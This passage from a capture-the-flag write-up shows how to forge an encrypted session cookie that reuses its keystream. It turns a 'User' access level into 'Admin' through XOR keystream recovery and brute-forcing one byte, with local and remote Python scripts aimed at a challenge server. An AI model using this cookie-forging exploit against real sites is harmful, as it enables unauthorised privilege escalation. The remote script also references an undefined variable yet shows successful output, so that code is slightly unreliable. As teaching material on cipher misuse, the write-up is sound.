</span></span><span style="display:flex;"><span>4d ^ 7b <span style="color:#f92672">=</span> <span style="color:#ae81ff">36</span>
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">14</span> ^ 22 <span style="color:#f92672">=</span> <span style="color:#ae81ff">36</span>
</span></span><span style="display:flex;"><span>5e ^ 61 <span style="color:#f92672">=</span> 3f
</span></span><span style="display:flex;"><span>4d ^ 63 <span style="color:#f92672">=</span> 2e
</span></span><span style="display:flex;"><span>aa ^ 63 <span style="color:#f92672">=</span> c9
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">55</span> ^ 65 <span style="color:#f92672">=</span> <span style="color:#ae81ff">30</span>
</span></span><span style="display:flex;"><span>1d ^ 73 <span style="color:#f92672">=</span> 6e
</span></span><span style="display:flex;"><span>4b ^ 73 <span style="color:#f92672">=</span> <span style="color:#ae81ff">38</span>
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">87</span> ^ 5f <span style="color:#f92672">=</span> d8
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">13</span> ^ 6c <span style="color:#f92672">=</span> 7f
</span></span><span style="display:flex;"><span>ff ^ 65 <span style="color:#f92672">=</span> 9a
</span></span><span style="display:flex;"><span>ae ^ 76 <span style="color:#f92672">=</span> d8
</span></span><span style="display:flex;"><span>a3 ^ 65 <span style="color:#f92672">=</span> c6
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">96</span> ^ 6c <span style="color:#f92672">=</span> fa
</span></span><span style="display:flex;"><span>9f ^ 22 <span style="color:#f92672">=</span> bd
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">29</span> ^ 3a <span style="color:#f92672">=</span> <span style="color:#ae81ff">13</span>
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">82</span> ^ 20 <span style="color:#f92672">=</span> a2
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">61</span> ^ 22 <span style="color:#f92672">=</span> <span style="color:#ae81ff">43</span>
</span></span><span style="display:flex;"><span>4e ^ 41 <span style="color:#f92672">=</span> 0f
</span></span><span style="display:flex;"><span>5f ^ 64 <span style="color:#f92672">=</span> 3b
</span></span><span style="display:flex;"><span>1c ^ 6d <span style="color:#f92672">=</span> <span style="color:#ae81ff">71</span>
</span></span><span style="display:flex;"><span>8d ^ 69 <span style="color:#f92672">=</span> e4
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">16</span> ^ 6e <span style="color:#f92672">=</span> <span style="color:#ae81ff">78</span>
</span></span><span style="display:flex;"><span>de ^ 22 <span style="color:#f92672">=</span> fc
</span></span><span style="display:flex;"><span>New Ciphertext <span style="color:#f92672">(</span>hex<span style="color:#f92672">)</span>: 36363f2ec9306e38d87f9ad8c6fabd13a2430f3b71e478fc
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Decrypted Ciphertext with known secret_key and nonce: b<span style="color:#e6db74">&#39;{&#34;access_level&#34;: &#34;Admin&#34;&#39;</span>
</span></span></code></pre></div><h3 id="bruteforce-missing-byte">Bruteforce missing byte</h3>
<p>It seems to work pretty well, we only have a little problem, the new ciphertext is missing the closing brace (<code>}</code>) to end the dictionary.</p>
<p>This happens because the user cookie is 24 bytes long but the new plaintext is 25 bytes long:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span>In [<span style="color:#ae81ff">1</span>]: len(<span style="color:#e6db74">b</span><span style="color:#e6db74">&#39;{&#34;access_level&#34;: &#34;User&#34;}&#39;</span>)
</span></span><span style="display:flex;"><span>Out[<span style="color:#ae81ff">1</span>]: <span style="color:#ae81ff">24</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>In [<span style="color:#ae81ff">2</span>]: len(<span style="color:#e6db74">b</span><span style="color:#e6db74">&#39;{&#34;access_level&#34;: &#34;Admin&#34;}&#39;</span>)
</span></span><span style="display:flex;"><span>Out[<span style="color:#ae81ff">2</span>]: <span style="color:#ae81ff">25</span>
</span></span></code></pre></div><p>Since we can only calculate keystream from the plaintext we are missing the 25th keystream to encrypt the last character with.</p>
<p>We will need to bruteforce it instead, by anding the following to the bottom of our script:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#75715e"># Bruteforce the last (extra) byte</span>
</span></span><span style="display:flex;"><span>print(<span style="color:#e6db74">&#34;</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">Bruteforcing the last (extra) byte&#34;</span>)
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">for</span> i <span style="color:#f92672">in</span> range(<span style="color:#ae81ff">2</span><span style="color:#f92672">**</span><span style="color:#ae81ff">8</span>):
</span></span><span style="display:flex;"><span>    ct <span style="color:#f92672">=</span> new_ciphertext <span style="color:#f92672">+</span> <span style="color:#e6db74">f</span><span style="color:#e6db74">&#34;</span><span style="color:#e6db74">{</span>i<span style="color:#e6db74">:</span><span style="color:#e6db74">02x</span><span style="color:#e6db74">}</span><span style="color:#e6db74">&#34;</span>
</span></span><span style="display:flex;"><span>    decrypted <span style="color:#f92672">=</span> decrypt_cookie(ct)
</span></span><span style="display:flex;"><span>    print(<span style="color:#e6db74">f</span><span style="color:#e6db74">&#34;</span><span style="color:#e6db74">{</span>ct<span style="color:#e6db74">}</span><span style="color:#e6db74"> decrypted to </span><span style="color:#e6db74">{</span>decrypted<span style="color:#e6db74">}</span><span style="color:#e6db74">&#34;</span>, end<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;...&#34;</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> decrypted <span style="color:#f92672">==</span> new_plaintext:
</span></span><span style="display:flex;"><span>        print(<span style="color:#e6db74">&#34;Correct&#34;</span>)
</span></span><span style="display:flex;"><span>        new_ciphertext <span style="color:#f92672">=</span> ct
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">break</span>
</span></span><span style="display:flex;"><span>    print(<span style="color:#e6db74">&#34;Wrong&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>print(<span style="color:#e6db74">f</span><span style="color:#e6db74">&#34;</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">New Ciphertext with correct extra byte (hex): </span><span style="color:#e6db74">{</span>new_ciphertext<span style="color:#e6db74">}</span><span style="color:#e6db74">&#34;</span>)
</span></span></code></pre></div><p>If we then run it again we can see that we also get the last byte:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sh" data-lang="sh"><span style="display:flex;"><span>$ python local_exploit.py
</span></span><span style="display:flex;"><span>Plaintext <span style="color:#f92672">(</span>bytes<span style="color:#f92672">)</span>: b<span style="color:#e6db74">&#39;{&#34;access_level&#34;: &#34;User&#34;}&#39;</span>
</span></span><span style="display:flex;"><span>Plaintext <span style="color:#f92672">(</span>hex<span style="color:#f92672">)</span>: 7b226163636573735f6c6576656c223a202255736572227d
</span></span><span style="display:flex;"><span>Encrypted Cookie <span style="color:#f92672">(</span>hex<span style="color:#f92672">)</span>: 9aaa57450f9da26cc6fa38204d4c5d4ee5b3c935b1f543ce
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Calculating keystream...
</span></span><span style="display:flex;"><span>7b ^ 9a <span style="color:#f92672">=</span> e1
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">22</span> ^ aa <span style="color:#f92672">=</span> <span style="color:#ae81ff">88</span>
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">61</span> ^ 57 <span style="color:#f92672">=</span> <span style="color:#ae81ff">36</span>
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">63</span> ^ 45 <span style="color:#f92672">=</span> <span style="color:#ae81ff">26</span>
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">63</span> ^ 0f <span style="color:#f92672">=</span> 6c
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">65</span> ^ 9d <span style="color:#f92672">=</span> f8
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">73</span> ^ a2 <span style="color:#f92672">=</span> d1
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">73</span> ^ 6c <span style="color:#f92672">=</span> 1f
</span></span><span style="display:flex;"><span>5f ^ c6 <span style="color:#f92672">=</span> <span style="color:#ae81ff">99</span>
</span></span><span style="display:flex;"><span>6c ^ fa <span style="color:#f92672">=</span> <span style="color:#ae81ff">96</span>
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">65</span> ^ 38 <span style="color:#f92672">=</span> 5d
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">76</span> ^ 20 <span style="color:#f92672">=</span> <span style="color:#ae81ff">56</span>
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">65</span> ^ 4d <span style="color:#f92672">=</span> <span style="color:#ae81ff">28</span>
</span></span><span style="display:flex;"><span>6c ^ 4c <span style="color:#f92672">=</span> <span style="color:#ae81ff">20</span>
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">22</span> ^ 5d <span style="color:#f92672">=</span> 7f
</span></span><span style="display:flex;"><span>3a ^ 4e <span style="color:#f92672">=</span> <span style="color:#ae81ff">74</span>
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">20</span> ^ e5 <span style="color:#f92672">=</span> c5
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">22</span> ^ b3 <span style="color:#f92672">=</span> <span style="color:#ae81ff">91</span>
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">55</span> ^ c9 <span style="color:#f92672">=</span> 9c
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">73</span> ^ 35 <span style="color:#f92672">=</span> <span style="color:#ae81ff">46</span>
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">65</span> ^ b1 <span style="color:#f92672">=</span> d4
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">72</span> ^ f5 <span style="color:#f92672">=</span> <span style="color:#ae81ff">87</span>
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">22</span> ^ 43 <span style="color:#f92672">=</span> <span style="color:#ae81ff">61</span>
</span></span><span style="display:flex;"><span>7d ^ ce <span style="color:#f92672">=</span> b3
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>New plaintext <span style="color:#f92672">(</span>bytes<span style="color:#f92672">)</span>: b<span style="color:#e6db74">&#39;{&#34;access_level&#34;: &#34;Admin&#34;}&#39;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>New plaintext <span style="color:#f92672">(</span>hex<span style="color:#f92672">)</span>: 7b226163636573735f6c6576656c223a202241646d696e227d
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Encrypting new plaintext...
</span></span><span style="display:flex;"><span>e1 ^ 7b <span style="color:#f92672">=</span> 9a
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">88</span> ^ 22 <span style="color:#f92672">=</span> aa
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">36</span> ^ 61 <span style="color:#f92672">=</span> <span style="color:#ae81ff">57</span>
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">26</span> ^ 63 <span style="color:#f92672">=</span> <span style="color:#ae81ff">45</span>
</span></span><span style="display:flex;"><span>6c ^ 63 <span style="color:#f92672">=</span> 0f
</span></span><span style="display:flex;"><span>f8 ^ 65 <span style="color:#f92672">=</span> 9d
</span></span><span style="display:flex;"><span>d1 ^ 73 <span style="color:#f92672">=</span> a2
</span></span><span style="display:flex;"><span>1f ^ 73 <span style="color:#f92672">=</span> 6c
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">99</span> ^ 5f <span style="color:#f92672">=</span> c6
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">96</span> ^ 6c <span style="color:#f92672">=</span> fa
</span></span><span style="display:flex;"><span>5d ^ 65 <span style="color:#f92672">=</span> <span style="color:#ae81ff">38</span>
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">56</span> ^ 76 <span style="color:#f92672">=</span> <span style="color:#ae81ff">20</span>
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">28</span> ^ 65 <span style="color:#f92672">=</span> 4d
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">20</span> ^ 6c <span style="color:#f92672">=</span> 4c
</span></span><span style="display:flex;"><span>7f ^ 22 <span style="color:#f92672">=</span> 5d
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">74</span> ^ 3a <span style="color:#f92672">=</span> 4e
</span></span><span style="display:flex;"><span>c5 ^ 20 <span style="color:#f92672">=</span> e5
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">91</span> ^ 22 <span style="color:#f92672">=</span> b3
</span></span><span style="display:flex;"><span>9c ^ 41 <span style="color:#f92672">=</span> dd
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">46</span> ^ 64 <span style="color:#f92672">=</span> <span style="color:#ae81ff">22</span>
</span></span><span style="display:flex;"><span>d4 ^ 6d <span style="color:#f92672">=</span> b9
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">87</span> ^ 69 <span style="color:#f92672">=</span> ee
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">61</span> ^ 6e <span style="color:#f92672">=</span> 0f
</span></span><span style="display:flex;"><span>b3 ^ 22 <span style="color:#f92672">=</span> <span style="color:#ae81ff">91</span>
</span></span><span style="display:flex;"><span>New Ciphertext <span style="color:#f92672">(</span>hex<span style="color:#f92672">)</span>: 9aaa57450f9da26cc6fa38204d4c5d4ee5b3dd22b9ee0f91
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Decrypted Ciphertext with known secret_key and nonce: b<span style="color:#e6db74">&#39;{&#34;access_level&#34;: &#34;Admin&#34;&#39;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Bruteforcing the last <span style="color:#f92672">(</span>extra<span style="color:#f92672">)</span> byte
</span></span><span style="display:flex;"><span>9aaa57450f9da26cc6fa38204d4c5d4ee5b3dd22b9ee0f9100 decrypted to b<span style="color:#e6db74">&#39;{&#34;access_level&#34;: &#34;Admin&#34;\xb6&#39;</span>...Wrong
</span></span><span style="display:flex;"><span>9aaa57450f9da26cc6fa38204d4c5d4ee5b3dd22b9ee0f9101 decrypted to b<span style="color:#e6db74">&#39;{&#34;access_level&#34;: &#34;Admin&#34;\xb7&#39;</span>...Wrong
</span></span><span style="display:flex;"><span>9aaa57450f9da26cc6fa38204d4c5d4ee5b3dd22b9ee0f9102 decrypted to b<span style="color:#e6db74">&#39;{&#34;access_level&#34;: &#34;Admin&#34;\xb4&#39;</span>...Wrong
</span></span><span style="display:flex;"><span>...
</span></span><span style="display:flex;"><span>9aaa57450f9da26cc6fa38204d4c5d4ee5b3dd22b9ee0f91c9 decrypted to b<span style="color:#e6db74">&#39;{&#34;access_level&#34;: &#34;Admin&#34;\x7f&#39;</span>...Wrong
</span></span><span style="display:flex;"><span>9aaa57450f9da26cc6fa38204d4c5d4ee5b3dd22b9ee0f91ca decrypted to b<span style="color:#e6db74">&#39;{&#34;access_level&#34;: &#34;Admin&#34;|&#39;</span>...Wrong
</span></span><span style="display:flex;"><span>9aaa57450f9da26cc6fa38204d4c5d4ee5b3dd22b9ee0f91cb decrypted to b<span style="color:#e6db74">&#39;{&#34;access_level&#34;: &#34;Admin&#34;}&#39;</span>...Correct
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>New Ciphertext with correct extra byte <span style="color:#f92672">(</span>hex<span style="color:#f92672">)</span>: 9aaa57450f9da26cc6fa38204d4c5d4ee5b3dd22b9ee0f91cb
</span></span></code></pre></div><h2 id="remote-exploit">Remote exploit</h2>
<p>Now we just need to change the code to be able to do it with the cookie from the challenge server. I modified the script to the following:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#75715e">#!/usr/bin/env python3</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># remote_exploit.py</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> json<span style="color:#f92672">,</span>requests
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Make cookie and plaintext</span>
</span></span><span style="display:flex;"><span>plaintext_dict <span style="color:#f92672">=</span> {}
</span></span><span style="display:flex;"><span>plaintext_dict[<span style="color:#e6db74">&#34;access_level&#34;</span>] <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;User&#34;</span>
</span></span><span style="display:flex;"><span>plaintext <span style="color:#f92672">=</span> json<span style="color:#f92672">.</span>dumps(plaintext_dict)<span style="color:#f92672">.</span>encode()
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>cookie <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;&#34;</span> <span style="color:#75715e"># Change me to the cookie from the server</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Convert cookie to bytes (hex -&gt; bytes)</span>
</span></span><span style="display:flex;"><span>cookie <span style="color:#f92672">=</span> bytes<span style="color:#f92672">.</span>fromhex(cookie)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>print(<span style="color:#e6db74">f</span><span style="color:#e6db74">&#34;Plaintext (bytes): </span><span style="color:#e6db74">{</span>plaintext<span style="color:#e6db74">}</span><span style="color:#e6db74">&#34;</span>)
</span></span><span style="display:flex;"><span>print(<span style="color:#e6db74">f</span><span style="color:#e6db74">&#34;Plaintext (hex): </span><span style="color:#e6db74">{</span>plaintext<span style="color:#f92672">.</span>hex()<span style="color:#e6db74">}</span><span style="color:#e6db74">&#34;</span>)
</span></span><span style="display:flex;"><span>print(<span style="color:#e6db74">f</span><span style="color:#e6db74">&#34;Encrypted Cookie (hex): </span><span style="color:#e6db74">{</span>cookie<span style="color:#f92672">.</span>hex()<span style="color:#e6db74">}</span><span style="color:#e6db74">&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Calculate the keystream used in xor</span>
</span></span><span style="display:flex;"><span>keystream <span style="color:#f92672">=</span> []
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>print(<span style="color:#e6db74">&#34;</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">Calculating keystream...&#34;</span>)
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">for</span> pt, ct <span style="color:#f92672">in</span> zip(plaintext, cookie):
</span></span><span style="display:flex;"><span>    s <span style="color:#f92672">=</span> pt <span style="color:#f92672">^</span> ct
</span></span><span style="display:flex;"><span>    keystream<span style="color:#f92672">.</span>append(s)
</span></span><span style="display:flex;"><span>    print(<span style="color:#e6db74">f</span><span style="color:#e6db74">&#34;</span><span style="color:#e6db74">{</span>pt<span style="color:#e6db74">:</span><span style="color:#e6db74">02x</span><span style="color:#e6db74">}</span><span style="color:#e6db74"> ^ </span><span style="color:#e6db74">{</span>ct<span style="color:#e6db74">:</span><span style="color:#e6db74">02x</span><span style="color:#e6db74">}</span><span style="color:#e6db74"> = </span><span style="color:#e6db74">{</span>v<span style="color:#e6db74">:</span><span style="color:#e6db74">02x</span><span style="color:#e6db74">}</span><span style="color:#e6db74">&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Encrypt new plaintext</span>
</span></span><span style="display:flex;"><span>new_dict <span style="color:#f92672">=</span> {}
</span></span><span style="display:flex;"><span>new_dict[<span style="color:#e6db74">&#34;access_level&#34;</span>] <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;Admin&#34;</span>
</span></span><span style="display:flex;"><span>new_plaintext <span style="color:#f92672">=</span> json<span style="color:#f92672">.</span>dumps(new_dict)<span style="color:#f92672">.</span>encode()
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>print(<span style="color:#e6db74">f</span><span style="color:#e6db74">&#34;</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">New plaintext (bytes): </span><span style="color:#e6db74">{</span>new_plaintext<span style="color:#e6db74">}</span><span style="color:#e6db74">&#34;</span>)
</span></span><span style="display:flex;"><span>print(<span style="color:#e6db74">f</span><span style="color:#e6db74">&#34;</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">New plaintext (hex): </span><span style="color:#e6db74">{</span>new_plaintext<span style="color:#f92672">.</span>hex()<span style="color:#e6db74">}</span><span style="color:#e6db74">&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>new_ciphertext <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>print(<span style="color:#e6db74">&#34;</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">Encrypting new plaintext...&#34;</span>)
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">for</span> s, pt <span style="color:#f92672">in</span> zip(keystream, new_plaintext):
</span></span><span style="display:flex;"><span>    ct <span style="color:#f92672">=</span> s <span style="color:#f92672">^</span> pt
</span></span><span style="display:flex;"><span>    new_ciphertext <span style="color:#f92672">+=</span> <span style="color:#e6db74">f</span><span style="color:#e6db74">&#34;</span><span style="color:#e6db74">{</span>ct<span style="color:#e6db74">:</span><span style="color:#e6db74">02x</span><span style="color:#e6db74">}</span><span style="color:#e6db74">&#34;</span>
</span></span><span style="display:flex;"><span>    print(<span style="color:#e6db74">f</span><span style="color:#e6db74">&#34;</span><span style="color:#e6db74">{</span>s<span style="color:#e6db74">:</span><span style="color:#e6db74">02x</span><span style="color:#e6db74">}</span><span style="color:#e6db74"> ^ </span><span style="color:#e6db74">{</span>pt<span style="color:#e6db74">:</span><span style="color:#e6db74">02x</span><span style="color:#e6db74">}</span><span style="color:#e6db74"> = </span><span style="color:#e6db74">{</span>ct<span style="color:#e6db74">:</span><span style="color:#e6db74">02x</span><span style="color:#e6db74">}</span><span style="color:#e6db74">&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>print(<span style="color:#e6db74">f</span><span style="color:#e6db74">&#34;New Ciphertext (hex): </span><span style="color:#e6db74">{</span>new_ciphertext<span style="color:#e6db74">}</span><span style="color:#e6db74">&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Bruteforce the last (extra) byte</span>
</span></span><span style="display:flex;"><span>print(<span style="color:#e6db74">&#34;</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">Bruteforcing the last (extra) byte&#34;</span>)
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">for</span> i <span style="color:#f92672">in</span> range(<span style="color:#ae81ff">2</span><span style="color:#f92672">**</span><span style="color:#ae81ff">8</span>):
</span></span><span style="display:flex;"><span>    ct <span style="color:#f92672">=</span> new_ciphertext <span style="color:#f92672">+</span> <span style="color:#e6db74">f</span><span style="color:#e6db74">&#34;</span><span style="color:#e6db74">{</span>i<span style="color:#e6db74">:</span><span style="color:#e6db74">02x</span><span style="color:#e6db74">}</span><span style="color:#e6db74">&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e"># Bruteforce by using requests to the /flag path on the server</span>
</span></span><span style="display:flex;"><span>    print(<span style="color:#e6db74">f</span><span style="color:#e6db74">&#34;Trying </span><span style="color:#e6db74">{</span>ct<span style="color:#e6db74">}</span><span style="color:#e6db74">&#34;</span>, end<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;...&#34;</span>)
</span></span><span style="display:flex;"><span>    r <span style="color:#f92672">=</span> requests<span style="color:#f92672">.</span>get(<span style="color:#e6db74">&#34;http://privilege.hkn/flag&#34;</span>, cookies<span style="color:#f92672">=</span>{<span style="color:#e6db74">&#34;permissions&#34;</span>: ct})
</span></span><span style="display:flex;"><span>    <span style="color:#75715e"># Look for &#34;cookie&#34; in the response, since the error message is:</span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e"># &#34;Something went wrong with your cookie&#34; </span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> <span style="color:#e6db74">&#34;cookie&#34;</span> <span style="color:#f92672">not</span> <span style="color:#f92672">in</span> r<span style="color:#f92672">.</span>text:
</span></span><span style="display:flex;"><span>        print(<span style="color:#e6db74">&#34;Correct&#34;</span>)
</span></span><span style="display:flex;"><span>        new_ciphertext <span style="color:#f92672">=</span> ct
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">break</span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">else</span>:
</span></span><span style="display:flex;"><span>        print(<span style="color:#e6db74">&#34;Wrong&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>print(<span style="color:#e6db74">f</span><span style="color:#e6db74">&#34;</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">New Ciphertext with correct extra byte (hex): </span><span style="color:#e6db74">{</span>new_ciphertext<span style="color:#e6db74">}</span><span style="color:#e6db74">&#34;</span>)
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sh" data-lang="sh"><span style="display:flex;"><span>$ python remote_exploit.py
</span></span><span style="display:flex;"><span>Plaintext <span style="color:#f92672">(</span>bytes<span style="color:#f92672">)</span>: b<span style="color:#e6db74">&#39;{&#34;access_level&#34;: &#34;User&#34;}&#39;</span>
</span></span><span style="display:flex;"><span>Plaintext <span style="color:#f92672">(</span>hex<span style="color:#f92672">)</span>: 7b226163636573735f6c6576656c223a202255736572227d
</span></span><span style="display:flex;"><span>Encrypted Cookie <span style="color:#f92672">(</span>hex<span style="color:#f92672">)</span>: 0aeaf0b0fe3a8974e6244e6ea7265f7c2fe4efdf2619ed68
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Calculating keystream...
</span></span><span style="display:flex;"><span>7b ^ 0a <span style="color:#f92672">=</span> <span style="color:#ae81ff">71</span>
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">22</span> ^ ea <span style="color:#f92672">=</span> c8
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">61</span> ^ f0 <span style="color:#f92672">=</span> <span style="color:#ae81ff">91</span>
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">63</span> ^ b0 <span style="color:#f92672">=</span> d3
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">63</span> ^ fe <span style="color:#f92672">=</span> 9d
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">65</span> ^ 3a <span style="color:#f92672">=</span> 5f
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">73</span> ^ 89 <span style="color:#f92672">=</span> fa
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">73</span> ^ 74 <span style="color:#f92672">=</span> <span style="color:#ae81ff">07</span>
</span></span><span style="display:flex;"><span>5f ^ e6 <span style="color:#f92672">=</span> b9
</span></span><span style="display:flex;"><span>6c ^ 24 <span style="color:#f92672">=</span> <span style="color:#ae81ff">48</span>
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">65</span> ^ 4e <span style="color:#f92672">=</span> 2b
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">76</span> ^ 6e <span style="color:#f92672">=</span> <span style="color:#ae81ff">18</span>
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">65</span> ^ a7 <span style="color:#f92672">=</span> c2
</span></span><span style="display:flex;"><span>6c ^ 26 <span style="color:#f92672">=</span> 4a
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">22</span> ^ 5f <span style="color:#f92672">=</span> 7d
</span></span><span style="display:flex;"><span>3a ^ 7c <span style="color:#f92672">=</span> <span style="color:#ae81ff">46</span>
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">20</span> ^ 2f <span style="color:#f92672">=</span> 0f
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">22</span> ^ e4 <span style="color:#f92672">=</span> c6
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">55</span> ^ ef <span style="color:#f92672">=</span> ba
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">73</span> ^ df <span style="color:#f92672">=</span> ac
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">65</span> ^ 26 <span style="color:#f92672">=</span> <span style="color:#ae81ff">43</span>
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">72</span> ^ 19 <span style="color:#f92672">=</span> 6b
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">22</span> ^ ed <span style="color:#f92672">=</span> cf
</span></span><span style="display:flex;"><span>7d ^ 68 <span style="color:#f92672">=</span> <span style="color:#ae81ff">15</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>New plaintext <span style="color:#f92672">(</span>bytes<span style="color:#f92672">)</span>: b<span style="color:#e6db74">&#39;{&#34;access_level&#34;: &#34;Admin&#34;}&#39;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>New plaintext <span style="color:#f92672">(</span>hex<span style="color:#f92672">)</span>: 7b226163636573735f6c6576656c223a202241646d696e227d
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Encrypting new plaintext...
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">71</span> ^ 7b <span style="color:#f92672">=</span> 0a
</span></span><span style="display:flex;"><span>c8 ^ 22 <span style="color:#f92672">=</span> ea
